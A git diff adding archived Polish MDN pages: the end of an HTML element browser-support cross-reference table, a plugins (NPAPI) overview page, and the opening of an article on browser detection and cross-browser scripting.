+<td> </td>
+<td>HTML4</td>
+<td> </td>
+<td>ALIGN</td>
+</tr>
+<tr>
+<td class="elementName"><a href="pl/HTML/Element/ilayer">ILAYER</a></td>
+<td>NN4</td>
+<td> </td>
+<td> </td>
+<td> </td>
+<td> </td>
+<td> </td>
+<td> </td>
+<td>Zastąpione względnie pozycjowanymi DIV-ami</td>
+<td> </td>
+</tr>
+<tr>
+<td class="elementName"><a href="pl/HTML/Element/img">IMG</a></td>
+<td>NN4</td>
+<td>NS6</td>
+<td>IE3</td>
+<td>IE4</td>
+<td>IE5</td>
+<td>HTML3</td>
+<td>HTML4</td>
+<td> </td>
+<td>ALIGN, BORDER, HSPACE, VSPACE</td>
+</tr> <tr>
+<td class="elementName"><a href="pl/HTML/Element/input">INPUT</a></td>
+<td>NN4</td>
+<td>NS6</td>
+<td>IE3</td>
+<td>IE4</td>
+<td>IE5</td>
+<td>HTML3</td>
+<td>HTML4</td>
+<td> </td>
+<td>ALIGN</td>
+</tr>
+<tr>
+<td class="elementName"><a href="pl/HTML/Element/ins">INS</a></td>
+<td> </td>
+<td>NS6</td>
+<td> </td>
+<td>IE4</td>
+<td>IE5</td>
+<td> </td>
+<td>HTML4</td>
+<td> </td>
+<td> </td>
+</tr>
+<tr>
+<td class="elementName"><a href="pl/HTML/Element/isindex">ISINDEX</a></td>
+<td>NN4</td>
+<td>NS6</td>
+<td>IE3</td>
+<td>IE4</td>
+<td>IE5</td>
+<td>HTML3</td>
+<td>HTML4</td>
+<td>niezalecane w HTML 4.0</td>
+<td>PROMPT</td>
+</tr>
+<tr>
+<td class="elementName"><a href="pl/HTML/Element/kbd">KBD</a></td>
+<td>NN4</td>
+<td>NS6</td>
+<td>IE3</td>
+<td>IE4</td>
+<td>IE5</td>
+<td>HTML3</td>
+<td>HTML4</td>
+<td> </td>
+<td> </td>
+</tr> <tr>
+<td class="elementName"><a href="pl/HTML/Element/keygen">KEYGEN</a></td>
+<td>NN4</td>
+<td> </td>
+<td> </td>
+<td> </td>
+<td> </td>
+<td> </td>
+<td> </td>
+<td> </td>
+<td> </td>
+</tr>
+<tr>
+<td class="elementName"><a href="pl/HTML/Element/label">LABEL</a></td>
+<td> </td>
+<td>NS6</td>
+<td> </td>
+<td>IE4</td>
+<td>IE5</td>
+<td> </td>
+<td>HTML4</td>
+<td> </td>
+<td> </td>
+</tr>
+<tr>
+<td class="elementName"><a href="pl/HTML/Element/layer">LAYER</a></td>
+<td>NN4</td>
+<td> </td>
+<td> </td>
+<td> </td>
+<td> </td>
+<td> </td>
+<td> </td>
+<td>Zastąpione bezwzględnie pozycjonowanymi DIV-ami</td>
+<td> </td>
+</tr>
+<tr>
+<td class="elementName"><a href="pl/HTML/Element/legend">LEGEND</a></td>
+<td> </td>
+<td>NS6</td>
+<td> </td>
+<td>IE4</td>
+<td>IE5</td>
+<td> </td>
+<td>HTML4</td>
+<td> </td>
+<td>ALIGN</td>
+</tr> <tr>
+<td class="elementName"><a href="pl/HTML/Element/li">LI</a></td>
+<td>NN4</td>
+<td>NS6</td>
+<td>IE3</td>
+<td>IE4</td>
+<td>IE5</td>
+<td>HTML3</td>
+<td>HTML4</td>
+<td> </td>
+<td>TYPE, VALUE</td>
+</tr>
+<tr>
+<td class="elementName"><a href="pl/HTML/Element/link">LINK</a></td>
+<td>NN4</td>
+<td>NS6</td>
+<td>IE3</td>
+<td>IE4</td>
+<td>IE5</td>
+<td>HTML3</td>
+<td>HTML4</td>
+<td> </td>
+<td> </td>
+</tr>
+<tr>
+<td class="elementName"><a href="pl/HTML/Element/listing">LISTING</a></td>
+<td>NN4</td>
+<td> </td>
+<td>IE3</td>
+<td>IE4</td>
+<td>IE5</td>
+<td>HTML3</td>
+<td> </td>
+<td>usunięte z HTML 4.0</td>
+<td> </td>
+</tr>
+<tr>
+<td class="elementName"><a href="pl/HTML/Element/map">MAP</a></td>
+<td>NN4</td>
+<td>NS6</td>
+<td>IE3</td>
+<td>IE4</td>
+<td>IE5</td>
+<td>HTML3</td>
+<td>HTML4</td>
+<td> </td>
+<td> </td>
+</tr> <tr>
+<td class="elementName"><a href="pl/HTML/Element/marquee">MARQUEE</a></td>
+<td> </td>
+<td> </td>
+<td>IE3</td>
+<td>IE4</td>
+<td>IE5</td>
+<td> </td>
+<td> </td>
+<td> </td>
+<td> </td>
+</tr>
+<tr>
+<td class="elementName"><a href="pl/HTML/Elemenyt/menu">MENU</a></td>
+<td>NN4</td>
+<td>NS6</td>
+<td>IE3</td>
+<td>IE4</td>
+<td>IE5</td>
+<td>HTML3</td>
+<td>HTML4</td>
+<td>niezalecane w HTML 4.0</td>
+<td>COMPACT</td>
+</tr>
+<tr>
+<td class="elementName"><a href="pl/HTML/Element/meta">META</a></td>
+<td>NN4</td>
+<td>NS6</td>
+<td>IE3</td>
+<td>IE4</td>
+<td>IE5</td>
+<td>HTML3</td>
+<td>HTML4</td>
+<td> </td>
+<td> </td>
+</tr>
+<tr>
+<td class="elementName"><a href="pl/HTML/Element/multicol">MULTICOL</a></td>
+<td>NN4</td>
+<td> </td>
+<td> </td>
+<td> </td>
+<td> </td>
+<td> </td>
+<td> </td>
+<td> </td>
+<td> </td>
+</tr> <tr>
+<td class="elementName"><a href="pl/HTML/Element/nobr">NOBR</a></td>
+<td>NN4</td>
+<td>NS6</td>
+<td>IE3</td>
+<td>IE4</td>
+<td>IE5</td>
+<td>HTML3</td>
+<td>HTML4</td>
+<td> </td>
+<td> </td>
+</tr>
+<tr>
+<td class="elementName"><a href="pl/HTML/Element/noembed">NOEMBED</a></td>
+<td>NN4</td>
+<td> </td>
+<td> </td>
+<td> </td>
+<td> </td>
+<td> </td>
+<td> </td>
+<td> </td>
+<td> </td>
+</tr>
+<tr>
+<td class="elementName"><a href="pl/HTML/Element/noframes">NOFRAMES</a></td>
+<td>NN4</td>
+<td>NS6</td>
+<td>IE3</td>
+<td>IE4</td>
+<td>IE5</td>
+<td> </td>
+<td>HTML4</td>
+<td> </td>
+<td> </td>
+</tr>
+<tr>
+<td class="elementName"><a href="pl/HTML/Element/nolayer">NOLAYER</a></td>
+<td>NN4</td>
+<td> </td>
+<td> </td>
+<td> </td>
+<td> </td>
+<td> </td>
+<td> </td>
+<td>Usunięte całkowicie</td>
+<td> </td>
+</tr> <tr>
+<td class="elementName"><a href="pl/HTML/Element/noscript">NOSCRIPT</a></td>
+<td>NN4</td>
+<td>NS6</td>
+<td> </td>
+<td>IE4</td>
+<td>IE5</td>
+<td> </td>
+<td>HTML4</td>
+<td> </td>
+<td> </td>
+</tr>
+<tr>
+<td class="elementName"><a href="pl/HTML/Element/object">OBJECT</a></td>
+<td>NN4</td>
+<td>NS6</td>
+<td>IE3</td>
+<td>IE4</td>
+<td>IE5</td>
+<td> </td>
+<td>HTML4</td>
+<td> </td>
+<td>ALIGN, BORDER, HSPACE, VSPACE</td>
+</tr>
+<tr>
+<td class="elementName"><a href="pl/HTML/Element/ol">OL</a></td>
+<td>NN4</td>
+<td>NS6</td>
+<td>IE3</td>
+<td>IE4</td>
+<td>IE5</td>
+<td>HTML3</td>
+<td>HTML4</td>
+<td> </td>
+<td>COMPACT, START, TYPE</td>
+</tr>
+<tr>
+<td class="elementName"><a href="pl/HTML/Element/optiongroup">OPTIONGROUP</a></td>
+<td> </td>
+<td>NS6</td>
+<td> </td>
+<td> </td>
+<td> </td>
+<td> </td>
+<td>HTML4</td>
+<td> </td>
+<td> </td>
+</tr> <tr>
+<td class="elementName"><a href="pl/HTML/Element/option">OPTION</a></td>
+<td>NN4</td>
+<td>NS6</td>
+<td>IE3</td>
+<td>IE4</td>
+<td>IE5</td>
+<td>HTML3</td>
+<td>HTML4</td>
+<td> </td>
+<td> </td>
+</tr>
+<tr>
+<td class="elementName"><a href="pl/HTML/Element/p">P</a></td>
+<td>NN4</td>
+<td>NS6</td>
+<td>IE3</td>
+<td>IE4</td>
+<td>IE5</td>
+<td>HTML3</td>
+<td>HTML4</td>
+<td> </td>
+<td>ALIGN</td>
+</tr>
+<tr>
+<td class="elementName"><a href="pl/HTML/Element/param">PARAM</a></td>
+<td>NN4</td>
+<td>NS6</td>
+<td>IE3</td>
+<td>IE4</td>
+<td>IE5</td>
+<td>HTML3</td>
+<td>HTML4</td>
+<td> </td>
+<td> </td>
+</tr>
+<tr>
+<td class="elementName"><a href="pl/HTML/Element/plaintext">PLAINTEXT</a></td>
+<td>NN4</td>
+<td> </td>
+<td>IE3</td>
+<td>IE4</td>
+<td>IE5</td>
+<td>HTML3</td>
+<td> </td>
+<td>usunięto z HTML 4.0</td>
+<td> </td>
+</tr> <tr>
+<td class="elementName"><a href="pl/HTML/Element/pre">PRE</a></td>
+<td>NN4</td>
+<td>NS6</td>
+<td>IE3</td>
+<td>IE4</td>
+<td>IE5</td>
+<td>HTML3</td>
+<td>HTML4</td>
+<td> </td>
+<td> </td>
+</tr>
+<tr>
+<td class="elementName"><a href="pl/HTML/Element/q">Q</a></td>
+<td> </td>
+<td>NS6</td>
+<td>IE3</td>
+<td>IE4</td>
+<td>IE5</td>
+<td> </td>
+<td>HTML4</td>
+<td> </td>
+<td> </td>
+</tr>
+<tr>
+<td class="elementName"><a href="pl/HTML/Elementt/rt">RT</a></td>
+<td> </td>
+<td> </td>
+<td> </td>
+<td> </td>
+<td>IE5</td>
+<td> </td>
+<td> </td>
+<td> </td>
+<td> </td>
+</tr>
+<tr>
+<td class="elementName"><a href="pl/HTML/Element/ruby">RUBY</a></td>
+<td> </td>
+<td> </td>
+<td> </td>
+<td> </td>
+<td>IE5</td>
+<td> </td>
+<td> </td>
+<td> </td>
+<td> </td>
+</tr> <tr>
+<td class="elementName"><a href="pl/HTML/Element/s">S</a></td>
+<td>NN4</td>
+<td>NS6</td>
+<td>IE3</td>
+<td>IE4</td>
+<td>IE5</td>
+<td>HTML3</td>
+<td>HTML4</td>
+<td>niezalecane w HTML 4.0</td>
+<td> </td>
+</tr>
+<tr>
+<td class="elementName"><a href="pl/HTML/Element/samp">SAMP</a></td>
+<td>NN4</td>
+<td>NS6</td>
+<td>IE3</td>
+<td>IE4</td>
+<td>IE5</td>
+<td>HTML3</td>
+<td>HTML4</td>
+<td> </td>
+<td> </td>
+</tr>
+<tr>
+<td class="elementName"><a href="pl/HTML/Element/script">SCRIPT</a></td>
+<td>NN4</td>
+<td>NS6</td>
+<td>IE3</td>
+<td>IE4</td>
+<td>IE5</td>
+<td> </td>
+<td>HTML4</td>
+<td> </td>
+<td> </td>
+</tr>
+<tr>
+<td class="elementName"><a href="pl/HTML/Element/select">SELECT</a></td>
+<td>NN4</td>
+<td>NS6</td>
+<td>IE3</td>
+<td>IE4</td>
+<td>IE5</td>
+<td>HTML3</td>
+<td>HTML4</td>
+<td> </td>
+<td> </td>
+</tr> <tr>
+<td class="elementName"><a href="pl/HTML/Element/server">SERVER</a></td>
+<td>NN4</td>
+<td> </td>
+<td> </td>
+<td> </td>
+<td> </td>
+<td> </td>
+<td> </td>
+<td> </td>
+<td> </td>
+</tr>
+<tr>
+<td class="elementName"><a href="pl/HTML/Element/small">SMALL</a></td>
+<td>NN4</td>
+<td>NS6</td>
+<td>IE3</td>
+<td>IE4</td>
+<td>IE5</td>
+<td>HTML3</td>
+<td>HTML4</td>
+<td> </td>
+<td> </td>
+</tr>
+<tr>
+<td class="elementName"><a href="pl/HTML/Element/spacer">SPACER</a></td>
+<td>NN4</td>
+<td> </td>
+<td> </td>
+<td> </td>
+<td> </td>
+<td> </td>
+<td> </td>
+<td> </td>
+<td> </td>
+</tr>
+<tr>
+<td class="elementName"><a href="pl/HTML/Element/span">SPAN</a></td>
+<td>NN4</td>
+<td>NS6</td>
+<td>IE3</td>
+<td>IE4</td>
+<td>IE5</td>
+<td> </td>
+<td>HTML4</td>
+<td> </td>
+<td> </td>
+</tr> <tr>
+<td class="elementName"><a href="pl/HTML/Element/strike">STRIKE</a></td>
+<td>NN4</td>
+<td>NS6</td>
+<td>IE3</td>
+<td>IE4</td>
+<td>IE5</td>
+<td>HTML3</td>
+<td>HTML4</td>
+<td>niezalecane w HTML 4.0</td>
+<td> </td>
+</tr>
+<tr>
+<td class="elementName"><a href="pl/HTML/Element/strong">STRONG</a></td>
+<td>NN4</td>
+<td>NS6</td>
+<td>IE3</td>
+<td>IE4</td>
+<td>IE5</td>
+<td>HTML3</td>
+<td>HTML4</td>
+<td> </td>
+<td> </td>
+</tr>
+<tr>
+<td class="elementName"><a href="pl/HTML/Element/style">STYLE</a></td>
+<td>NN4</td>
+<td>NS6</td>
+<td>IE3</td>
+<td>IE4</td>
+<td>IE5</td>
+<td> </td>
+<td>HTML4</td>
+<td> </td>
+<td> </td>
+</tr>
+<tr>
+<td class="elementName"><a href="pl/HTML/Element/sub">SUB</a></td>
+<td>NN4</td>
+<td>NS6</td>
+<td>IE3</td>
+<td>IE4</td>
+<td>IE5</td>
+<td>HTML3</td>
+<td>HTML4</td>
+<td> </td>
+<td> </td>
+</tr> <tr>
+<td class="elementName"><a href="pl/HTML/Element/sup">SUP</a></td>
+<td>NN4</td>
+<td>NS6</td>
+<td>IE3</td>
+<td>IE4</td>
+<td>IE5</td>
+<td>HTML3</td>
+<td>HTML4</td>
+<td> </td>
+<td> </td>
+</tr>
+<tr>
+<td class="elementName"><a href="pl/HTML/Element/table">TABLE</a></td>
+<td>NN4</td>
+<td>NS6</td>
+<td>IE3</td>
+<td>IE4</td>
+<td>IE5</td>
+<td>HTML3</td>
+<td>HTML4</td>
+<td> </td>
+<td>ALIGN, BGCOLOR</td>
+</tr>
+<tr>
+<td class="elementName"><a href="pl/HTML/Element/tbody">TBODY</a></td>
+<td>NN4</td>
+<td>NS6</td>
+<td>IE3</td>
+<td>IE4</td>
+<td>IE5</td>
+<td> </td>
+<td>HTML4</td>
+<td> </td>
+<td> </td>
+</tr>
+<tr>
+<td class="elementName"><a href="pl/HTML/Element/td">TD</a></td>
+<td>NN4</td>
+<td>NS6</td>
+<td>IE3</td>
+<td>IE4</td>
+<td>IE5</td>
+<td>HTML3</td>
+<td>HTML4</td>
+<td> </td>
+<td>BGCOLOR, HEIGHT, NOWRAP, WIDTH</td>
+</tr> <tr>
+<td class="elementName"><a href="pl/HTML/Element/textarea">TEXTAREA</a></td>
+<td>NN4</td>
+<td>NS6</td>
+<td>IE3</td>
+<td>IE4</td>
+<td>IE5</td>
+<td>HTML3</td>
+<td>HTML4</td>
+<td> </td>
+<td> </td>
+</tr>
+<tr>
+<td class="elementName"><a href="pl/HTML/Element/tfoot">TFOOT</a></td>
+<td> </td>
+<td>NS6</td>
+<td>IE3</td>
+<td>IE4</td>
+<td>IE5</td>
+<td> </td>
+<td>HTML4</td>
+<td> </td>
+<td> </td>
+</tr>
+<tr>
+<td class="elementName"><a href="pl/HTML/Element/th">TH</a></td>
+<td>NN4</td>
+<td>NS6</td>
+<td>IE3</td>
+<td>IE4</td>
+<td>IE5</td>
+<td>HTML3</td>
+<td>HTML4</td>
+<td> </td>
+<td>BGCOLOR, HEIGHT, NOWRAP, WIDTH</td>
+</tr>
+<tr>
+<td class="elementName"><a href="pl/HTML/Element/thread">THEAD</a></td>
+<td> </td>
+<td>NS6</td>
+<td>IE3</td>
+<td>IE4</td>
+<td>IE5</td>
+<td> </td>
+<td>HTML4</td>
+<td> </td>
+<td> </td>
+</tr> <tr>
+<td class="elementName"><a href="pl/HTML/Element/title">TITLE</a></td>
+<td>NN4</td>
+<td>NS6</td>
+<td>IE3</td>
+<td>IE4</td>
+<td>IE5</td>
+<td>HTML3</td>
+<td>HTML4</td>
+<td> </td>
+<td> </td>
+</tr>
+<tr>
+<td class="elementName"><a href="pl/HTML/Element/tr">TR</a></td>
+<td>NN4</td>
+<td>NS6</td>
+<td>IE3</td>
+<td>IE4</td>
+<td>IE5</td>
+<td>HTML3</td>
+<td>HTML4</td>
+<td> </td>
+<td>BGCOLOR</td>
+</tr>
+<tr>
+<td class="elementName"><a href="pl/HTML/Element/tt">TT</a></td>
+<td>NN4</td>
+<td>NS6</td>
+<td>IE3</td>
+<td>IE4</td>
+<td>IE5</td>
+<td>HTML3</td>
+<td>HTML4</td>
+<td> </td>
+<td> </td>
+</tr>
+<tr>
+<td class="elementName"><a href="pl/HTML/Element/u">U</a></td>
+<td>NN4</td>
+<td>NS6</td>
+<td>IE3</td>
+<td>IE4</td>
+<td>IE5</td>
+<td>HTML3</td>
+<td>HTML4</td>
+<td>niezalecane w HTML 4.0</td>
+<td> </td>
+</tr> <tr>
+<td class="elementName"><a href="pl/HTML/Element/ul">UL</a></td>
+<td>NN4</td>
+<td>NS6</td>
+<td>IE3</td>
+<td>IE4</td>
+<td>IE5</td>
+<td>HTML3</td>
+<td>HTML4</td>
+<td> </td>
+<td>COMPACT, TYPE</td>
+</tr>
+<tr>
+<td class="elementName"><a href="pl/HTML/Element/var">VAR</a></td>
+<td>NN4</td>
+<td>NS6</td>
+<td>IE3</td>
+<td>IE4</td>
+<td>IE5</td>
+<td>HTML3</td>
+<td>HTML4</td>
+<td> </td>
+<td> </td>
+</tr>
+<tr>
+<td class="elementName"><a href="pl/HTML/Element/wbr">WBR</a></td>
+<td>NN4</td>
+<td>NS6</td>
+<td>IE3</td>
+<td>IE4</td>
+<td>IE5</td>
+<td> </td>
+<td> </td>
+<td> </td>
+<td> </td>
+</tr>
+<tr>
+<td class="elementName"><a href="pl/HTML/Element/xml">XML</a></td>
+<td> </td>
+<td> </td>
+<td> </td>
+<td> </td>
+<td>IE5</td>
+<td> </td>
+<td> </td>
+<td> </td>
+<td> </td>
+</tr> <tr>
+<td class="elementName"><a href="pl/HTML/Element/xmp">XMP</a></td>
+<td>NN4</td>
+<td>NS6</td>
+<td>IE3</td>
+<td>IE4</td>
+<td>IE5</td>
+<td>HTML3</td>
+<td> </td>
+<td>usunięto z HTML 4.0</td>
+<td> </td>
+</tr>
+</tbody></table>
+<div class="originaldocinfo">
+<h3 id="Informacje_o_oryginalnym_dokumencie" name="Informacje_o_oryginalnym_dokumencie"> Informacje o oryginalnym dokumencie </h3>
+<ul><li> Autor(zy): Bob Clary, Netscape Communications
+</li><li> Ostatnia aktualizacja: Opublikowano 01 Jul 2001
+</li><li> Prawa autorskie: Copyright © 2001-2003 Netscape.
+</li><li> Informacja: Ten przedruk był oryginalnie częścią strony DevEdge.
+</li></ul>
+</div>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/HTML_Element_Cross_Reference", "es": "es/Referencia_cruzada_de_elementos_HTML", "ja": "ja/HTML_Element_Cross_Reference" } ) }}
diff --git a/files/pl/wtyczki/index.html b/files/pl/wtyczki/index.html
new file mode 100644
index 0000000000..9a68a20c75
--- /dev/null
+++ b/files/pl/wtyczki/index.html
@@ -0,0 +1,108 @@
+---
+title: Wtyczki
+slug: Wtyczki
+tags:
+ - Dodatki
+ - Wszystkie_kategorie
+ - Wtyczki
+translation_of: Archive/Plugins
+---
+<p> </p>
+<div>
+ <p><b>Wtyczki</b> (ang.
+ <i>
+ plug-ins</i>
+ ) są małymi kawałkami oprogramowania, które współpracują z przeglądarką, obsługując kilka, zwykle bardzo specyficznych, funkcji. Typowymi przykładami są wtyczki do wyświetlania specyficznych formatów graficznych, lub odtwarzania plików multimedialnych. Wtyczki różnią się od <a href="pl/Rozszerzenia">rozszerzeń</a>, które modyfikują lub dodają nową funkcjonalność do już istniejącej.</p>
+ <p>Wtyczki mogą być przydatne kiedy budowa aplikacji używa budowy Mozilla. Na przykład {{ interwiki('wikipedia', 'ActiveState_Komodo', 'ActiveState Komodo') }} używa wtyczek aby umieścić {{ interwiki('wikipedia', 'Scintilla_(editing_component)', 'Scintilla editor') }} w jego opartym o XUL UI.</p>
+ <p>Wtyczki są napisane za pomocą <b>NPAPI</b>, wielo-przeglądarkowe API dla wtyczek. Głównym źródłem dokumentacji dla NPAPI jest <a href="pl/Dokumentacja_wtyczek_Gecko">Dokumentacja wtyczek Gecko</a>. Aby stworzyć wtyczkę skryptowalną ze stron internetowych, użyj <a href="pl/Dokumentacja_wtyczek_Gecko/Wtyczki_skryptowalne">npruntime</a>. Starsze API do wtyczek oparte o <a href="pl/XPCOM">XPCOM</a> oraz <a href="pl/LiveConnect">LiveConnect</a> nie powinny być stosowane. Użyte technologie wykorzystywane są nie tylko do wtyczek.</p>
+ <p>Możesz użyć <a href="pl/SVG">SVG</a> lub <a href="pl/HTML/Canvas">canvas</a> dla łatwiejszych zadań sterowania skryptem grafiki i animacji.</p>
+ <p>Wtyczki różnią się od <a href="pl/Rozszerzenia">rozszerzeń</a>, w jakiś sposób modyfikują lub ulepszają funkcjonalność przeglądarki w niej samej. Wtyczki są różne od <a href="pl/Tworzenie_wtyczek_OpenSearch_dla_Firefoksa">search plugins</a>, które dodają nowe wyszukiwarki na pasku wyszukiwania.</p>
+ <table class="topicpage-table">
+ <tbody>
+ <tr>
+ <td>
+ <h4 id="Dokumentacja" name="Dokumentacja"><a>Dokumentacja</a></h4>
+ <dl>
+ <dt>
+ <a href="pl/Dokumentacja_wtyczek_Gecko">Dokumentacja wtyczek Gecko</a></dt>
+ <dd>
+ <small>Ta dokumentacja opisuje interfejs programowania aplikacji dla wtyczek Gecko i dostarcza informacji o tym jak używać tego interfejsu.</small></dd>
+ </dl>
+ <dl>
+ <dt>
+ <a href="pl/Dokumentacja_wtyczek_Gecko/Wtyczki_skryptowalne">Wtyczki skryptowalne</a> (npruntime)</dt>
+ <dd>
+ <small>To odwołanie opisuje nowe wielo-przeglądarkowego NPAPI rozszerzenia pozwalające wtyczką być skryptowalnymi oraz pozwala im na dostęp obiektów skryptu w przeglądarce.</small></dd>
+ </dl>
+ <dl>
+ <dt>
+ <a href="pl/Gecko_SDK">Gecko Wtyczka SDK</a></dt>
+ <dd>
+ <small>Gecko wtyczka SDK zawiera wszystkie narzędzia i nagłówki potrzebne dla oznaczania skryptowalnych wtyczek dla Gecko, włączając xpidl kompilator/linker i ostatni <code>npapi.h</code>.</small></dd>
+ </dl>
+ <dl>
+ <dt>
+ <a href="pl/Zastosowanie_XPInstall_do_instalacji_wtyczek">Zastosowanie XPInstall do instalacji wtyczek</a></dt>
+ <dd>
+ <small><a href="pl/XPInstall">XPInstall</a> daje grwarancję płynnego działania interfejsu użytkownika podczas pobierania wtyczek. dzięki temu użytkownik nie musi opuszczać środowiska przeglądania stron WWW, aby uruchomić osobny instalator.</small></dd>
+ </dl>
+ <dl>
+ <dt>
+ <a class="external" href="http://developer.apple.com/internet/webcontent/detectplugins.html">Wykrywanie wtyczek</a></dt>
+ <dd>
+ <small>"Z cala pewnością zdarzają sie momenty, kiedy użycie wtyczek ma sens. Pytanie, jak dac sobie rade z tymi, którzy nie maja wymaganej wtyczki.."</small></dd>
+ </dl>
+ <dl>
+ <dt>
+ <a href="pl/Skryptowe_wtyczki/Macromedia_Flash">Skryptowe wtyczki: Macromedia Flash</a></dt>
+ <dd>
+ <small>Ten artykuł wyjaśnia jak JavaScript może być stosowany do metod dostępowych od wewnątrz z Flash plugin-u, w równym stopniu jak właściwość nazwana FSCommands może być użyta do dostępu funkcji JavaScript od wewnątrz animacji Flash.</small></dd>
+ </dl>
+ <dl>
+ <dt>
+ <a href="pl/Plugins/Problem_pierwszej_instalacji">Plugins: Problem pierwszej instalacji</a></dt>
+ <dd>
+ <small>Problem pierwszej instalacji jest nazwą dającą warunki powstające kiedy wtyczka lub osadzone programy instalują się na pierwszym systemie, przed jakąkolwiek opartą o Gecko przeglądarkę.</small></dd>
+ </dl>
+ <dl>
+ <dt>
+ <a href="pl/Kontrola_ActiveX_dla_Hostingu_wtyczek_Netscape_w_IE">Kontrola ActiveX dla Hostingu wtyczek Netscape w IE</a></dt>
+ <dd>
+ <small>Microsoft przestał wspierać wtyczki dla Netscape z IE 5.5 SP 2 i beyond. Jeśli Jesteś autorem wtyczki, możesz znaleźć te projekty zabezpieczające wiele z twojej pracy !</small></dd>
+ </dl>
+ <dl>
+ <dt>
+ <a href="pl/Wtyczki/Przyk%c5%82ady_i_przypadkowy_test">Wtyczki:Przykłady i przypadkowy test</a></dt>
+ <dd>
+ <small>Wtyczka NPAPI samples i sprawdza cases.</small></dd>
+ </dl>
+ <dl>
+ <dt>
+ <a href="pl/Rozszerzenie_XEmbed_dla_wtyczek_Mozilli">Rozszerzenie XEmbed dla wtyczek Mozilli</a></dt>
+ <dd>
+ <small>Nowe wersje Mozilli wliczają rozwój dla pisania wtyczek stosujących XEmbed zamiast używania starych opartych o Xt mainloop których najwięcej używano od czasów wtyczek dla Netscape 3.x .</small></dd>
+ </dl>
+ <p><span class="alllinks"><a>Pokaż wszystkie...</a></span></p>
+ </td>
+ <td>
+ <h4 id="Spo.C5.82eczno.C5.9B.C4.87" name="Spo.C5.82eczno.C5.9B.C4.87">Społeczność</h4>
+ <ul>
+ <li>Obejrzyj fora Mozilli...</li>
+ </ul>
+ <h4 id="Powi.C4.85zane_tematy" name="Powi.C4.85zane_tematy">Powiązane tematy</h4>
+ <dl>
+ <dd>
+ <a href="pl/Gecko">Gecko</a>, <a href="pl/Rozszerzenia">Rozszerzenia</a>, <a href="pl/SVG">SVG</a>, <a href="pl/HTML/Canvas">Canvas</a></dd>
+ </dl>
+ <p> </p>
+ </td>
+ </tr>
+ </tbody>
+ </table>
+ <p><span class="comment">Categories</span></p>
+ <p><span class="comment">Interwiki Language Links</span></p>
+ <p> </p>
+ <div class="noinclude">
+  </div>
+</div>
+<p>{{ languages( { "de": "de/Plugins", "en": "en/Plugins", "es": "es/Plugins", "fr": "fr/Plugins", "ja": "ja/Plugins", "ko": "ko/Plugins", "pt": "pt/Plugins" } ) }}</p>
diff --git a/files/pl/wykrywanie_wersji_i_programowanie_dla_wielu_przeglądarek/index.html b/files/pl/wykrywanie_wersji_i_programowanie_dla_wielu_przeglądarek/index.html
new file mode 100644
index 0000000000..d3ed3b4c02
--- /dev/null
+++ b/files/pl/wykrywanie_wersji_i_programowanie_dla_wielu_przeglądarek/index.html
@@ -0,0 +1,583 @@
+---
+title: Wykrywanie wersji i programowanie dla wielu przeglądarek
+slug: Wykrywanie_wersji_i_programowanie_dla_wielu_przeglądarek
+tags:
+ - Programowanie_WWW
+ - Programowanie_dla_wielu_przeglądarek
+ - Wszystkie_kategorie
+translation_of: Archive/Web/Browser_Detection_and_Cross_Browser_Support
+---
+<p>
+Niewłaściwie stosowanie wykrywania wersji może uczynić konserwację serwisu prawdziwym koszmarem. Przemyślenie strategii w którym momencie i w jaki sposób wykrywać wersję i rodzaj przeglądarki użytkownika jest kluczowym czynnikiem podczas składania łatwych w zarządzaniu i przenośnych serwisów internetowych. Niniejszy artykuł jest przeglądem różnych sposobów wykrywania wersji i ich użyteczności w określonych przypadkach.
+</p>
+<h3 id="Szybka_wskaz.C3.B3wka" name="Szybka_wskaz.C3.B3wka"> Szybka wskazówka </h3>
+<p>Do sprawdzenia, czy odwiedzający używa przeglądarki opartej na silniku Gecko wystarczy zwykły test:
+</p><p><code>navigator.product == 'Gecko'</code>
+</p><p>Można również poszukać napisu <code>'Gecko/'</code> w zmiennej <code>navigator.userAgent</code>. Miej jednak na uwadze fakt, że proste testy jak te mogą nie zadziałać prawidłowo w przypadku niektórych przeglądarek, jak np. Safari, która umieszcza ciąg <code>(like Gecko)</code> w zmiennej User-Agent.
+</p>
+<h3 id="Wst.C4.99p" name="Wst.C4.99p"> Wstęp </h3>
+<p>W <i>idealnym</i> świecie moglibyśmy swobodnie używać HTML, XML, CSS i JavaScript i martwić się tylko o zgodność ze standardami z W3C i ECMA. Niestety nie żyjemy jeszcze w takim świecie. Z powodu błędów, częściowych implementacji standardów i przestarzałych przeglądarek, by odpowiednio dostosować zawartość i skrypty stron, twórcy serwisów muszą wiedzieć jakiej przeglądarki używa odwiedzający.
+</p><p>Chociaż wykrywanie wersji jest prawdopodobnie najpopularniejszym problemem skryptowym z jakim zmierzają się twórcy serwisów, różnorodność sposobów na jego rozwiązanie wydaje się być niezliczona. Jako członek ruchu "Netscape Evangelism" spędziłem prawie rok na analizowaniu istniejącej zawartości WWW i muszę bez wahania przyznać, że większość problemów z kompatybilnością jakich doświadczamy obecnie w sieci związanych jest z niezrozumieniem standardów i złym podejściem do wykrywania wersji.
+</p><p>Niniejszy artykuł stanowi przegląd znanych metod wykrywania wersji przeglądarek i ich zastosowania. Po szczegóły dotyczące silnika Gecko, przejrzyj <a href="pl/Poradnik_zgodno%c5%9bci_z_Gecko">Poradnik zgodności z Gecko</a>.
+</p>
+<h3 id="Gecko" name="Gecko"> Gecko </h3>
+<p>Chociaż wielu twórców stron zna przeglądarki Firefox, Mozilla czy Netscape 6/7, niewielu jest świadoma faktu, że wszystkie one należą do jednej rodziny przeglądarek opartych na <b>Silniku Gecko</b>. Inne przeglądarki korzystające z Gecko to m.in. komercyjny CompuServe 7 i wiele darmowych: <a class="external" href="http://www.gnome.org/projects/epiphany/">Epiphany</a>, <a class="external" href="http://galeon.sourceforge.net/">Galeon</a>, <a class="external" href="http://caminobrowser.org/">Camino</a> i <a class="external" href="http://kmeleon.sourceforge.net/">Kmeleon</a>.
+</p><p>Gecko z założenia miała być zgodna z następującymi standardami: W3C HTML, W3C CSS, W3C XML, W3C DOM i ECMAScript (JavaScript). Silnik posiada również możliwość interpretacji stron zaprojektowanych z myślą o przeglądarkach poprzedniej generacji, takich jak Netscape Navigator 4. Gdzie to możliwe, zachowuje również kompatybilność z Internet Explorerem 5 i 6. W przeciwności do innych przeglądarek, Gecko jest prawdziwie przenośnym narzędziem i generuje identyczne wyniki na wszystkich wspieranych platformach.
